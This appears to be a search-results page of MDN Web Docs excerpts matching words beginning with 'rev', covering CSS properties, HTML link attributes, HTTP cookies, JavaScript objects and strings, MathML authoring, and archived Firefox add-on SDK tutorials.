...th the standard and lower-level syntax are included. the lower-level syntax (font-variation-settings) was the first mechanism implemented in order to test the early implementations of variable font support, and is necessary to utilize new or custom axes beyond the five registered ones. however, the w3c’s intent was for this syntax not to be used when other attributes are available. therefore whe
rever possible, the appropriate property should be used, with the lower-level syntax of font-variation-settings only being used to set values or axes not available otherwise. notes when using font-variation-settings it is important to note that axis names are case-sensitive. the registered axis names must be in lower case, and custom axes must be in upper case. for example: font-variation-s...
...And 2 more matches
all - CSS: Cascading Style Sheets
to the values specified in another stylesheet origin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* global values */ all: initial; all: inherit; all: unset; /* css cascading and inheritance level 4 */ all:
revert; the all property is specified as one of the css global keyword values. note that none of these values affect the unicode-bidi and direction properties. values initial specifies that all the element's properties should be changed to their initial values. inherit specifies that all the element's properties should be changed to their inherited values. unset specifies that all the elem...
...de-bidi and direction properties. values initial specifies that all the element's properties should be changed to their initial values. inherit specifies that all the element's properties should be changed to their inherited values. unset specifies that all the element's properties should be changed to their inherited values if they inherit by default, or to their initial values if not.
revert specifies behavior that depends on the stylesheet origin to which the declaration belongs: user-agent origin equivalent to unset. user origin rolls back the cascade to the user-agent level, so that the specified values are calculated as if no author-level or user-level rules were specified for the element. author origin rolls back the cascade to the user level, so that the speci...
...r-agent origin equivalent to unset. user origin rolls back the cascade to the user-agent level, so that the specified values are calculated as if no author-level or user-level rules were specified for the element. author origin rolls back the cascade to the user level, so that the specified values are calculated as if no author-level rules were specified for the element. for purposes of
revert, the author origin includes the override and animation origins. formal definition initial valuethere is no practical initial value for it.applies toall elementsinheritednocomputed valueas the specified value applies to each property this is a shorthand for.animation typeas each of the properties of the shorthand (all properties but unicode-bidi and direction) formal syntax initial | i...
...And 2 more matches
animation-fill-mode - CSS: Cascading Style Sheets
ed to it. this is the default value. forwards the target will retain the computed values set by the last keyframe encountered during execution. ...
...the first relevant keyframe depends on the value of animation-direction: animation-direction first relevant keyf...
...the first relevant keyframe depends on the value of animation-direction: animation-direction first relevant keyframe normal or alternate 0% or f...
...And 2 more matches
<color> - CSS: Cascading Style Sheets
hite #ffffff maroon #800000 red #ff0000 purple #800080 fuchsia #ff00ff green #008000 lime #00ff00 olive #808000 yellow #ffff00 navy #000080 blue #0000ff teal #008080 aqua #00ffff css level 2 (
revision 1) orange #ffa500 css color module level 3 aliceblue #f0f8ff antiquewhite #faebd7 aquamarine #7fffd4 azure #f0ffff beige #f5f5dc bisque #ffe4c4 blanchedalmond #ffebcd blueviolet #8a2be2 brown #a52a2a burlywood #deb887 ...
...eat #f5deb3 whitesmoke #f5f5f5 yellowgreen #9acd32 css color module level 4 rebeccapurple #663399 transparent keyword the transparent keyword represents a fully transparent color. this makes the background behind the colored item completely visible. technically, transparent is a shortcut for rgba(0,0,0,0). compatibility note: to p
revent unexpected behavior, such as in a <gradient>, the current css spec states that transparent should be calculated in the alpha-premultiplied color space. however, be aware that older browsers may treat it as black with an alpha value of 0. historical note: transparent wasn't a true color in css level 2 (
revision 1). it was a special keyword that could be used instead of a regular <color> valu...
... currentcolor keyword the currentcolor keyword represents the value of an element's color property. this lets you use the color value on properties that do not receive it by default. ...
...And 2 more matches
flex-wrap - CSS: Cascading Style Sheets
that lines are stacked. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. see using css flexible boxes for more properties and information. syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-
reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below. values the following values are accepted: nowrap the flex items are laid out in a single line which may cause the flex container to overflow. the cross-start is either equivalent to start or before depending on th...
...id out in a single line which may cause the flex container to overflow. the cross-start is either equivalent to start or before depending on the flex-direction value. this is the default value. wrap the flex items break into multiple lines. the cross-start is either equivalent to start or before depending flex-direction value and the cross-end is the opposite of the specified cross-start. ...
...s. the cross-start is either equivalent to start or before depending flex-direction value and the cross-end is the opposite of the specified cross-start. wrap-
reverse behaves the same as wrap but cross-start and cross-end are permuted. ...
...And 2 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
ss. let's look at this from two sides: using color within a stylesheet, and adding and changing color using javascript code to alter the styles of elements. specifying colors in stylesheets the easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the css that's used when rendering elements. while we won't use every single property mentioned p
reviously, we'll look at a couple of examples. the concept is the same anywhere you use color. let's take a look at an example, starting by looking at the results we're trying to achieve: html the html responsible for creating the above example is shown here: <div class="wrapper"> <div class="box boxleft"> <p> this is the first box. </p> </div> <div class="box boxright"> ...
...econd box. </p> </div> </div> this is pretty simple, using a <div> as a wrapper around the contents, which consists of two more <div>s, each styled differently with a single paragraph (<p>) in each box. the magic happens, as usual, in the css, where we'll apply colors define the layout for the html above. css we'll look at the css to create the above results a piece at a time, so we can
review the interesting parts one by one. .wrapper { width: 620px; height: 110px; margin: 0; padding: 10px; border: 6px solid mediumturquoise; } the .wrapper class is used to assign styles to the <div> that encloses all of our other content. this establishes the size of the container using width and height as well as its margin and padding. of more interest to our discussion here is the u...
...boxright { float: right; background-color: hsl(270deg, 50%, 75%); outline: 4px dashed rgb(110, 20, 120); color: hsl(0deg, 100%, 100%); text-decoration: underline wavy #88ff88; text-shadow: 2px 2px 3px black; } finally, the .boxright class describes the unique properties of the box that's drawn on the right. it's configured to float the box to the right so that it appears next to the p
revious box. then the following colors are established: the background-color is set using the hsl value specified using hsl(270deg, 50%, 75%). this is a medium purple color. the box's outline is used to specify that the box should be enclosed in a four pixel thick dashed line whose color is a somewhat deeper purple (rgb(110, 20, 120)). the foreground (text) color is specified by setting the colo...
...And 2 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
t makes more sense to separate your <link> elements from your body content, putting them in the <head>. when using <link> to establish a favicon for a site, and your site uses a content security policy (csp) to enhance its security, the policy applies to the favicon. if you encounter problems with the favicon not loading, verify that the content-security-policy header's img-src directive is not p
reventing access to it. the html and xhtml specifications define event handlers for the <link> element, but it is unclear how they would be used. under xhtml 1.0, empty elements such as <link> require a trailing slash: <link />. webtv supports the use of the value next for rel to preload the next page in a document series. attributes this element includes the global attributes. as this attr...
...ith a credential sent (i.e. a cookie, certificate, and/or http basic authentication is performed). if the server does not give credentials to the origin site (through access-control-allow-credentials http header), the resource will be tainted and its usage restricted. if the attribute is not present, the resource is fetched without a cors request (i.e. without sending the origin http header), p
reventing its non-tainted usage. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. disabled for rel="stylesheet" only, the disabled boolean attribute indicates whether or not the described stylesheet should be loaded and applied to the document. if disabled is specified in the html when it is loaded, the stylesheet ...
...ow the rendering of any linked resource. obsolete attributes charset this attribute defines the character encoding of the linked resource. the value is a space- and/or comma-delimited list of character sets as defined in rfc 2045. the default value is iso-8859-1. usage note: to produce the same effect as this obsolete attribute, use the content-type http header on the linked resource.
rev the value of this attribute shows the relationship of the current document to the linked document, as defined by the href attribute. the attribute thus defines the
reverse relationship compared to the value of the rel attribute. link type values for the attribute are similar to the possible values for rel. note: this attribute is considered obsolete by the whatwg html living standard (whi...
...And 2 more matches
Using HTTP cookies - HTTP
rom the server to the user agent. a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all p
reviously stored cookies to the server using the cookie header. get /sample_page.html http/2.0 host: www.example.org cookie: yummy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies ar...
... the max-age attribute. for example: set-cookie: id=a3fwa; expires=wed, 31 oct 2021 07:28:00 gmt; note: when an expires date is set, the time and date set is relative to the client the cookie is being set on, not the server. if your site authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the user authenticates. this technique helps p
revent session fixation attacks, where a third party can reuse a user's session. restrict access to cookies there are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never w...
...rties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the url) can't set cookies with the secure attribute. however, do not assume that secure p
revents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. a cookie with the httponly attribute is inaccessible to the javascript document.cookie api; it is sent only to the server. for example, cookies that persist server-side sessions don't need to be available to javascript, and should have the httponly attribute. this pre...
...And 2 more matches
Details of the object model - JavaScript
because of this different basis, it can be less apparent how javascript allows you to create hierarchies of objects and to have inheritance of properties and their values. this chapter attempts to clarify the situation. this chapter assumes that you are already somewhat familiar with javascript and that you have used javascript functions to create simple objects. class-based vs. prototype-based languages class-based object-oriented languages, such as java and c++, are founded on the concept of two distinct entities: classes and instances. ...
...alues: mark.name = ''; mark.dept = 'general'; mark.projects = []; the mark object is assigned local values for the name and dept properties by the employee constructor. it is assigned a local value for the projects property by the workerbee constructor. this gives you inheritance of properties and their values in javascript. some subtleties of this process are discussed in property inheritance
revisited. because these constructors do not let you supply instance-specific values, this information is generic. the property values are the default ones shared by all new objects created from workerbee. you can, of course, change the values of any of these properties. so, you could give specific information for mark as follows: mark.name = 'doe, mark'; mark.dept = 'admin'; mark.projects = ['navi...
...gical or operator (||) evaluates its first argument. if that argument converts to true, the operator returns it. otherwise, the operator returns the value of the second argument. therefore, this line of code tests to see if name has a useful value for the name property. if it does, it sets this.name to that value. otherwise, it sets this.name to the empty string. this chapter uses this idiom for b
revity; however, it can be puzzling at first glance. note: this may not work as expected if the constructor function is called with arguments which convert to false (like 0 (zero) and empty string (""). in this case the default value will be chosen. with these definitions, when you create an instance of an object, you can specify values for the locally defined properties. you can use the followin...
...And 2 more matches
Object.freeze() - JavaScript
freeze() returns the same object that was passed in. the source for this interactive example is stored in a github repository. ...
...freeze() returns the same object that was passed in. the source for this interactive example is stored in a github repository. ...
...freeze() returns the same object that was passed in. the source for this interactive example is stored in a github repository. ...
...And 2 more matches
Object.isFrozen() - JavaScript
ible, all its properties are non-configurable, and all its data properties (that is, properties which are not accessor properties with getter or setter components) are non-writable. examples using object.isfrozen // a new object is extensible, so it is not frozen. object.isfrozen({}); // === false // an empty object which is not extensible // is vacuously frozen. ...
...en // a new object is extensible, so it is not frozen. object.isfrozen({}); // === false // an empty object which is not extensible // is vacuously frozen. var vacuouslyfrozen = object.p
reventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a new object with one property is also extensible, // ergo not frozen. var oneprop = { p: 42 }; object.isfrozen(oneprop); // === false // p
reventing extensions to the object still doesn't // make it frozen, because the property is still // configurable (and writable). object.p
reventextensions(oneprop); object.isfrozen(oneprop); // === false // ...but then deleting that property makes the object // vacuously frozen. delete oneprop.p; object.isfrozen(oneprop); // === true // a non-extensible object with a non-writable // but still confi...
...the property is still // configurable (and writable). object.p
reventextensions(oneprop); object.isfrozen(oneprop); // === false // ...but then deleting that property makes the object // vacuously frozen. delete oneprop.p; object.isfrozen(oneprop); // === true // a non-extensible object with a non-writable // but still configurable property is not frozen. var nonwritable = { e: 'plep' }; object.p
reventextensions(nonwritable); object.defineproperty(nonwritable, 'e', { writable: false }); // make non-writable object.isfrozen(nonwritable); // === false // changing that property to non-configurable // then makes the object frozen. object.defineproperty(nonwritable, 'e', { configurable: false }); // make non-configurable object.isfrozen(nonwritable); // === true // a non-extensible object w...
...And 2 more matches
String.prototype.split() - JavaScript
lt if separator is a regular expression that contains capturing parentheses (), matched results are included in the array. const mystring = 'hello 1 word. sentence number 2.' const splits = mystring.split(/(\d)/) console.log(splits) this script displays the following: [ "hello ", "1", " word. sentence number ", "2", "." ] note: \d matches the character class for digits between 0 and 9. ...
...g parentheses (), matched results are included in the array. const mystring = 'hello 1 word. sentence number 2.' const splits = mystring.split(/(\d)/) console.log(splits) this script displays the following: [ "hello ", "1", " word. sentence number ", "2", "." ] note: \d matches the character class for digits between 0 and 9. ...
...e array. const mystring = 'hello 1 word. sentence number 2.' const splits = mystring.split(/(\d)/) console.log(splits) this script displays the following: [ "hello ", "1", " word. sentence number ", "2", "." ] note: \d matches the character class for digits between 0 and 9. ...
...And 2 more matches
Lexical grammar - JavaScript
ich are tokens, control characters, line terminators, comments or white space. ecmascript also defines certain keywords and literals and has rules for automatic insertion of semicolons to end statements. control characters control characters have no visual representation but are used to control the interpretation of the text. unicode format-control characters code point name abb
reviation description u+200c zero width non-joiner <zwnj> placed between characters to p
revent being connected into ligatures in certain languages (wikipedia). u+200d zero width joiner <zwj> placed between characters that would not normally be connected in order to cause the characters to be rendered using their connected form in certain languages (wikipedia...
...yte order (wikipedia). white space white space characters improve the readability of source text and separate tokens from each other. these characters are usually unnecessary for the functionality of the code. minification tools are often used to remove whitespace in order to reduce the amount of data that needs to be transferred. white space characters code point name abb
reviation description escape sequence u+0009 character tabulation <ht> horizontal tabulation \t u+000b line tabulation <vt> vertical tabulation \v u+000c form feed <ff> page breaking control character (wikipedia). \f u+0020 space <sp> normal space u+00a0 no-break space <nbsp> normal space,...
...o affect the process of automatic semicolon insertion. line terminators are matched by the \s class in regular expressions. only the following unicode code points are treated as line terminators in ecmascript, other line breaking characters are treated as white space (for example, next line, nel, u+0085 is considered as white space). line terminator characters code point name abb
reviation description escape sequence u+000a line feed <lf> new line character in unix systems. \n u+000d carriage return <cr> new line character in commodore and early mac systems. \r u+2028 line separator <ls> wikipedia u+2029 paragraph separator <ps> wikipedia comments comments are used to a...
...And 2 more matches
Authoring MathML - MathML
to get woff fonts and sample css stylesheets to use on your web site and check its test page. mathml in xml documents (xhtml, epub, etc) if for some reason you need to use mathml in xml documents, be sure to satisfy the usual requirements: well-formed document, use of correct mime type, mathml namespace "http://www.w3.org/1998/math/mathml" on <math> roots. ...
...is a convenient add-on for thunderbird to insert such mathml expressions using the asciimath input syntax. moreover, a latex-to-mathml input box has also been integrated into seamonkey since version 2.28 and into thunderbird since version 31. again, the way mathml is handled and the quality of the mathml rendering depends on the mail client. even if your browser supports mathml, your webmail may p
revent you to send or receive mails with mathml inside. gecko-based instant messaging clients can integrate a javascript-based text-to-mathml converter (mentioned below) and then render the mathml expressions generated from the (plaintext) instant messages. for example, there is an instantbird add-on that handles latex expressions. conversion from a simple syntax there are many simple notations (e...
...ke syntax but which also accepts non-ascii characters like √{∑↙{n=1}↖{+∞} 6/n^2} = π to write ∑ n = 1 + ∞ 6 n 2 = π . the installation is similar: download and copy the relevant javascript and css files on your web site and reference them in your page header (see the copy-me.html file from the zip archive for an example). one of the advantage of jqmath over the p
revious scripts is that it will automatically add some simple css rules to do the mathematical layout and make the formulas readable on browsers with limited mathml support. command-line programs an alternative way is to parse the simple syntax before publishing your web pages. that is, you use command-line programs to generate them and publish these static pages on your server. pros: you ...
...And 2 more matches
Interacting with page scripts - Archive of obsolete content
or functions being, or doing, what you expect. any of them, even setters and getters, could have been redefined by a page script. don't use it unless you trust the page, and even then be careful. also, unsafewindow isn't a supported api, so it could be removed or changed in a future version of the sdk. ...
...xports greetme() as a member of foo. now the page script can call the function as foo.greetme(): <html> <head> </head> <body> <input id="test" type="button" value="click me"/> <script> var test = document.getelementbyid("test"); test.addeventlistener("click", function() { alert(window.foo.greetme("page script")); }, false); </script> </body> </html>
reverting to the old behavior you can switch firefox back to the old behavior in which content scripts could expose objects and functions to page scripts using unsafewindow. to do this, add an option called “unsafe-content-script” under the “permissions” key in package.json, and set it to true. "permissions": { "unsafe-content-script": true } this is only a temporary migration aid, and...
... here "main.js" creates a page-mod that attaches "listen.js" to the web page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" embeds a script that uses window.postmessage() to send the content script a message when the user cli...
...also, there's no need to clone the message when using custom dom events in this direction. in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" ...
Content Scripts - Archive of obsolete content
include: "*.mozilla.org", contentscriptfile: "./content-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. you can load multiple scripts by passing an array of strings to either contentscript or contentscriptfile: // main.js var tabs = require("sdk/tabs"); tabs.on('ready', function(tab) { tab.attach({ contentscript: ['document.body.style.border = "5px solid red";', 'window.alert("hi");'] }); }); // main.js var data = require("sdk/self").data; var pagemod = require("sdk/page-mod")...
...tscript: contentscriptstring, contentscriptfile: data.url("jquery.js") }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. controlling when to attach the script the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of: "start": load the scripts immediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready": load the scripts after the dom fo...
...e dom content scripts can access the dom of a page, of course, just like any scripts that the page has loaded (page scripts). but content scripts are insulated from page scripts: content scripts don't see any javascript objects added to the page by page scripts if a page script has redefined the behavior of some dom object, the content script sees the original behavior. the same applies in
reverse: page scripts can't see javascript objects added by content scripts. for example, consider a page that adds a variable foo to the window object using a page script: <!doctype html"> <html> <head> <script> window.foo = "hello from page script" </script> </head> </html> another script loaded into the page after this script will be able to access foo. but a content script will...
...'], contentscriptfile: self.data.url("content-script.js"), onattach: startlistening }); function startlistening(worker) { worker.port.on('click', function(html) { worker.port.emit('warning', 'do not click this again'); }); } // content-script.js window.addeventlistener('click', function(event) { self.port.emit('click', event.target.tostring()); event.stoppropagation(); event.p
reventdefault(); }, false); self.port.on('warning', function(message) { window.alert(message); }); in the add-on above there are two messages: click is sent from the page-mod to the add-on, when the user clicks an element in the page warning sends a silly string back to the page-mod from tab.attach() the tab.attach() method returns the worker you can use to communicate with the content sc...
panel - Archive of obsolete content
pointing to a script file saved under your add-on's data directory. warning: unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. getting user input note: this example uses the action button api, which is only available from firefox 29 onwards. the following add-on adds a button which displays a panel when clicked. the panel just contains a <textarea> element: when the user presses the return key, the contents of the <textarea> is sent to the main add-on code. the add-on consists of six files: main.js: the m...
...() api or the port api. the crucial difference is that these scripts access the postmessage and port objects through the addon object, whereas content scripts access them through the self object. to show the difference, we can easily convert the text-entry add-on above to use normal page scripts instead of content scripts. the main add-on code is exactly the same as the main add-on code in the p
revious example, except that we don't attach a content script: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it. var textentrypanel = require("sdk/panel").panel({ contenturl: data.url("text-entry.html") }); // create a button require("sdk/ui/button/action").act...
...// of the content window // - a height of 400px require("sdk/panel").panel({ position: { top: 40, bottom: 100, }, height: 400 }).show(); // this is equivalent to: require("panel").panel({ position { top: 40 }, height: 400 }).show(); the same principle is applied in the horizontal axis with width, left and right. focus boolean set to false to p
revent taking the focus away when the panel is shown. only turn this off if necessary, to p
revent accessibility issue. optional, default to true. contenturl string,url the url of the content to load in the panel. that is, they can't refer to remote scripts. the urls are usually constructed using self.data.url(). from firefox 34, you can use "./my-file.html" as an ali...
...ptions : object optional options: name type width number the width of the panel in pixels. optional. height number the height of the panel in pixels. optional. position object the position of the panel. optional. see panel's options for further details. focus boolean set to false to p
revent taking the focus away when the panel is shown. hide() stops displaying the panel. resize(width, height) resizes the panel. parameters width : number the new width of the panel in pixels. height : number the new height of the panel in pixels. on(type, listener) registers an event listener with the panel. parameters type : string the type of event to listen for. listener...
Creating annotations - Archive of obsolete content
because this code ...
... activateselectors(); return annotatorison; } we'll be using this url in all our screenshots. because cfx run doesn't preserve browsing history, if you want to play along it's worth taking a note of the url. save the file and execute cfx run again. ...
...e annotator by clicking the widget and load a page: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ overview-amo-
review-process/. you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you should see something like this in the console output: info: show info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-
review-process/, post-2249,when you submit a new add-on, you will have to choose between 2
review tracks: full
review and preliminary
review. annotation editor panel so far we have a page-mod that can highlight elements and send information about them to the main add-on code. next we will create the editor panel, which enables the user to enter an annotation associated with the selected elemen...
...etach', function () { detachworker(this, selectors); }); } }); execute cfx run again, activate the annotator, move your mouse over an element and click the element when it is highlighted. you should see a panel with a text area for a note: enter the note and press the return key: you should see console output like this: info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-
review-process/, post-2249,when you submit a new add-on, you will have to choose between 2
review tracks: full
review and preliminary
review. info: we should ask for full
review if possible. that's a complete annotation, and in the next section we'll deal with storing it. ...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
aimed at presenting alternatives to common eval uses in add-ons and other javascript code. add-on authors are strongly encouraged to update their code to eliminate all instances of eval, no matter if the add-on is to be hosted in the mozilla add-ons gallery or not. in order to host your add-on with mozilla it is crucial to minimize or completely eliminate eval use in order to receive a positive
review and have your add-on made public. if it cannot be easily proven that an eval() call is benign and necessary because there are no viable alternatives, a mozilla add-ons gallery
reviewer will generally reject the submission! parsing json mozilla provides native json support since firefox 3. there is simply no need to parse json using eval. additionally, parsing json retrieved from a remote lo...
...afterbracket) + "myaddon.onaddtab(auri);" + functionbody.substring(afterbracket); eval("gbrowser.addtab = " + functionbody); of course, this not only looks messy, but can be quite error prone. other extensions might do something similar, trying to hook the same functions, but a little different, ending up with completely broken code. the code is hard to read and by that hard to maintain and
review. (the example is a quite simple one. in real life such code is often far more complex) the code might break in the future, as certain assumptions might not longer be true, for example the function signature may change (auri from above becomes aurl) or the function is replaced by a short-hand/arrow function: function addtab(auri) tabbrowser.addtab(auri); var addtab = (auri) => tabbrowser.add...
...he same function. again, this is a problem with the "string-patch" method, too. how to handle this is inter-add-on specific and not addressed in this article. overriding/extending/amending existing objects (or object properties) again, you might be tempted to uneval(), string replace and eval() existing objects to override them (or at least some properties). ...
... properties) again, you might be tempted to uneval(), string replace and eval() existing objects to override them (or at least some properties). of course, the issues given in the p
revious section about functions remain. alternative: just assign most of the time, assigning properties will just work. someexistingobject.someproperty = "abc"; // we already demonstrated with with functions in a p
revious example alternative: object.defineproperty() for most objects it is possible to (re-)define properties with the object.defineproperty() api, which allows to not override values, but also lets you define getters and setters. alternative: proxy if you cannot override objects or properties easily, e.g. because the object is frozen or sealed, then creating a proxy around the object might be ...
Handling Preferences - Archive of obsolete content
preferences are used to store settings and information to change their default behavior. to open the preferences window in firefox, select the following from the main menu: on windows, tools > options on mac, firefox > preferences on linux, edit > preferences note: keep in mind the usage of the terms "preferences" and "options" in different platforms. if you need to refer to the term "preference" in any of your locale files, you must change the string depending on the operating system. tip: you can use window.navigator.platform in your chrome code to figure out the operating system firefox is running on. you can use the hidden dom window in non-chrome code. ...
...he warning message states, you should be very careful when changing preferences. incorrect values can make firefox behave oddly or break altogether. you can type on the "filter" textbox to search for specific preferences. if you type the word "homepage", it will filter all the preferences and display only the ones which include the word "homepage" in its name or value. right-clicking on the list
reveals several options that allow you to modify preference values and add new ones. preferences with non-default values are highlighted in bold. all changes done in about:config are saved to the prefs.js file. the list in about:config is not complete. some firefox preferences have no default value, so they are left out unless you add them manually. an extensive specification of firefox preferences ...
...ref("extensions.xulschoolhello.message.count"); this._prefservice.setintpref("extensions.xulschoolhello.message.count", currentcount + 1); } one important thing to keep in mind is that the "get" methods of the service can throw an exception if the preference is not found. if you are going to use xpcom, you should always set a default value to your preferences, or use a try / catch block to p
revent unhandled errors. preference listeners the xpcom way to add a listener was mentioned in the xpcom section when describing the queryinterface method: this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.addobserver(prefname, this, false); this._prefservice.queryinterface(ci.nsiprefbranch); all the qi'ing is necessary because the addobserver method is in a different int...
... css file that is included in it (chrome://browser/skin/preferences/preferences.css). this way you don't have to rewrite all the css rules defined for firefox. you should also look at the class values set to elements in the xul file, so that your preferences window is just like the one in firefox and your extension is better integrated into the application and the native os look and feel. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Local Storage - Archive of obsolete content
it is very common for an extension to require some kind of local persistent storage. we recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug. we'll discuss logging in this section, but first let's look at the right (or at least, common and scalable) way of managing local files. it is strongly recommended that you keep your local files inside the firefox profile directory. otherwise you may run into problems if the same extension is installed in multiple profiles. ...
...r system language your extension is running on. a full list of these flags can be found in the firefox source. having that function in place, we do something like the following: let myfile = xulschool.getlocaldirectory(); myfile.append("somefile.txt"); // do stuff with the file. files are handled with the nsifile interface. an nsifile doesn't necessarily represent an existing file, as in the p
revious examples. you first specify the file using nsifile and then use nsifile.create() to actually write it out to disk. you can also check if an nsifile exists using nsifile.exists(). to read and write information in files, you need to use stream objects. you can read more about reading and writing files here. in general you won't need to do this directly, but it's always useful to know. finally...
...ut reading and writing files here. in general you won't need to do this directly, but it's always useful to know. finally, there's the issue of deleting local files when the extension is going to be uninstalled. whether this is necessary or not is a matter of preference. some extension developers prefer to leave the data there, so that if the user chooses to install the extension again, all the p
revious data will be recovered. this is the default behavior when firefox is uninstalled: the profile information remains intact and it will be there waiting for you if firefox is installed again. others feel concerned about privacy and storing private information locally without deleting it. a good argument can be done for both, so it is up to you to choose what to do in this case. the fuel library ...
...icated, but it is worth the effort if you need to display long lists or trees with complex data. if you manage to get your display code to use templates, you will have saved a lot of coding. since templates are not necessary for most extensions and they're a complicated subject, it's better that you read it from the experts. there's a very detailed xul template guide here. as mentioned before, it
revolves around rdf, so you may need to take some time to understand how rdf works. there's a section about sqlite templates in the guide, but there are some concepts in it that will require you to read at least some of the rest of it. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Mozilla Documentation Roadmap - Archive of obsolete content
there's a great deal of free online documentation available on xul and extension development, but finding it and turning it into useful information can be a daunting task. knowing where to look is critical and non trivial. this tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach. let's look into the resources that have helped us the most. ...
...cludes the highlights of what is posted at planet mozilla. it is a good alternative if you feel planet mozilla is too much. you can also subscribe to receive it by email if you prefer that. posts on about:mozilla also make it to planet mozilla. the mozilla add-ons blog. this blog is maintained by the add-ons team at mozilla, and it's a great way to stay up to date with amo development and add-on
review policies. this blog is also part of planet mozilla. irc and newsgroups mozilla developers use their irc channels heavily. there are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers. you'll need an irc client in order to do this, and the chatzilla extension works well for this purpose. problems using irc ...
...r irc channels heavily. there are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers. you'll need an irc client in order to do this, and the chatzilla extension works well for this purpose. problems using irc include: finding help when you have a big timezone difference with the united states, and no records of p
reviously asked questions and their answers. another somewhat obscure communication channel is the mozilla newsgroups. they are also very diverse and active, and there's a good chance you'll get your queries answered. thunderbird also comes in handy for reading and posting to the newsgroups. another advantage is that discussions are archived and searchable through google groups. other and finally,...
... ...
Useful Mozilla Community Sites - Archive of obsolete content
« p
revious the mozilla community is very rich and active. it's a very powerful tool you have when developing on top of the mozilla platform, and you should take advantage of it in order to create a truly successful add-on . amo amo (mozilla add-ons) is the official mozilla repository for add-ons. it allows you to upload, search and download all types of add-ons for mozilla applications. this is the best way to get your extension to users from all around the world. adding your extension to amo is easy. all you need is your xpi, a few screenshots (good ones will make your extension much more appealing), and a few minutes to fill a couple of forms. but this won't make your extension public right away. ...
...ad, search and download all types of add-ons for mozilla applications. this is the best way to get your extension to users from all around the world. adding your extension to amo is easy. all you need is your xpi, a few screenshots (good ones will make your extension much more appealing), and a few minutes to fill a couple of forms. but this won't make your extension public right away. amo has a
review process that p
revents malicious, insecure or low quality extensions to make it to the public site. your extension begins in a sandbox with limited access, and once you nominate it an editor will
review it and see if it is appropriate for the public amo site, where everyone can see it and install it. the
review process often takes a few weeks. just be patient and make sure your extension follow...
...s. developers submit their extensions using the web translation system (wts) and volunteers around the world translate them to different languages. the community is very active, and you can be sure to get translations for the most commonly used languages within a few days of submitting your extension. you'll also receive feedback that you wouldn't notice by testing only in one language, which can
reveal other bugs in your locale handling. there's a significant portion of users that use a localized version of firefox, so you shouldn't neglect them. using babelzilla takes little time and is very valuable. mozdev mozdev.org provides free project hosting and software development tools for mozilla applications and add-ons. it is the only hosting service tailored to the needs of the mozilla comm...
... ...
Adding preferences to an extension - Archive of obsolete content
download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. ...
... download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. ...
...function(newsymbol) { this.prefs.setcharpref("symbol", newsymbol); }, the only new information for us here is the call to the preference object's setcharpref() function, which sets the value of the "symbol" preference. note that this call results in our stockwatcher.observe() method being invoked and displayed stock information being updated. refreshinformation() this method is slightly
revised from p
revious versions, in that it needs to fetch the preference for the stock to watch and use that to construct the url to monitor, as well as to construct the string to be displayed in the status bar panel. refreshinformation: function() { // because we may be called as a callback, we can't rely on // "this" referring to the right object, so we need to reference // it by it...
